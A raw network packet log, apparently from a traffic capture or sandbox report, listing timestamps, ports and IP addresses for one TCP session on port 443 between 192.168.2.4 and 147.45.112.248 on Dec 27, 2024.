Dec 27, 2024 20:44:29.594348907 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.594367027 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.594403982 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.594419003 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.594434977 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.594458103 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.599246979 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.599267006 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.599301100 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.599340916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.599368095 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.599385023 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.605041027 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.605057955 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.605109930 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.605127096 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.605169058 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.610704899 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.610721111 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.610774994 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.610794067 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.610836983 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.700161934 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.700180054 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.700403929 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.700453043 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.700509071 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.707490921 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.707514048 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.707560062 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.707570076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.707587957 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.707616091 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.793337107 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.793359995 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.793432951 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.793447971 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.793595076 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.799119949 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.799139977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.799190998 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.799201965 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.799221039 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.799253941 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.804682016 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.804699898 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.804755926 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.804765940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.804809093 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.809803963 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.809820890 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.809881926 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.809895992 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.809936047 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.815556049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.815577030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.815629005 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.815638065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.815689087 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.821161985 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.821177959 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.821223974 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.821233034 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.821261883 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.821271896 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.910727024 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.910742998 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.910928011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.910940886 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.910988092 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.915760040 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.915776014 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.915843964 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.915853024 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.915894985 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.004311085 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.004327059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.004514933 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.004535913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.004585028 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.010086060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.010099888 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.010166883 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.010174990 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.010216951 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.015206099 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.015219927 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.015295982 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.015340090 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.015386105 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.021001101 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.021015882 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.021071911 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.021090031 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.021135092 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.026510954 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.026525974 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.026649952 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.026659012 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.026704073 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.031470060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.031486034 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.031536102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.031546116 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.031590939 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.121263027 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.121280909 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.121325016 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.121336937 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.121361017 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.121381998 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.127002954 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.127019882 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.127068043 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.127077103 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.127104998 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.127115011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.214759111 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.214786053 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.214839935 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.214859009 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.214874029 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.214901924 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.220523119 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.220540047 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.220599890 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.220613956 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.220658064 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.225534916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.225548983 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.225616932 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.225626945 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.225672960 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.231291056 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.231307030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.231364965 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.231374025 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.231420994 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.236917973 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.236931086 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.236983061 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.236993074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.237035036 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.241993904 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.242008924 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.242067099 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.242075920 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.242120981 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.332257986 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.332273006 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.332353115 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.332361937 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.332412004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.339592934 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.339612961 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.339668036 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.339675903 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.339703083 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.339735985 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.425744057 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.425760984 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.425868988 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.425882101 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.425929070 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.430752993 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.430768013 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.430835962 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.430845022 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.430887938 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.436433077 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.436449051 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.436502934 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.436511993 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.436559916 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.442111015 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.442126989 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.442179918 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.442189932 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.442229986 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.447069883 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.447084904 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.447129011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.447138071 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.447165012 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.447174072 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.452861071 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.452874899 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.452931881 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.452940941 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.452986002 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.542686939 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.542701960 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.542788029 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.542797089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.542849064 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.548214912 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.548228025 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.548279047 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.548288107 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.548345089 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.636015892 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.636033058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.636143923 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.636159897 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.636208057 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.641591072 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.641606092 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.641668081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.641675949 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.641720057 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.646579027 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.646594048 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.646660089 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.646667957 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.646713018 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.652369022 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.652386904 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.652447939 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.652456045 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.652502060 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.658210993 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.658226013 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.658291101 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.658298016 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.658345938 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.663727045 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.663742065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.663811922 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.663819075 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.663865089 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.752732038 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.752758980 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.752811909 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.752825975 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.752860069 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.752882004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.758543015 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.758559942 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.758624077 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.758631945 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.758676052 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.846539021 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.846558094 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.846625090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.846637964 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.846687078 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.852237940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.852256060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.852307081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.852315903 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.852329969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.852355957 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.857290030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.857306004 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.857346058 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.857355118 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.857367992 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.857395887 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.863061905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.863078117 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.863153934 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.863162994 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.863207102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.868813038 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.868829966 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.868882895 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.868891001 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.868964911 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.874448061 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.874464989 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.874519110 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.874532938 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.874628067 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.963505030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.963536978 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.963586092 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.963624001 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.963640928 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.963679075 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.969093084 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.969116926 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.969194889 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.969194889 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:30.969206095 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:30.969249010 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.057035923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.057055950 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.057101965 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.057122946 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.057147026 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.057172060 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.062715054 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.062730074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.062788963 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.062798977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.062841892 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.068487883 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.068502903 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.068564892 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.068574905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.068618059 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.073741913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.073757887 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.073833942 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.073842049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.073885918 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.079252005 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.079267979 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.079327106 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.079335928 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.079365969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.079385042 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.084907055 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.084923029 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.085004091 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.085011959 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.085055113 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.137924910 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.174052000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.174071074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.174150944 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.174166918 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.174212933 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.182058096 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.182075977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.182169914 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.182178974 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.182223082 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.267807007 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.267824888 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.267900944 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.267930984 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.267975092 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.273308992 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.273329973 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.273400068 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.273432970 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.273477077 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.279062986 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.279078960 CET	443	49748	147.45.112.248	192.168.2.4
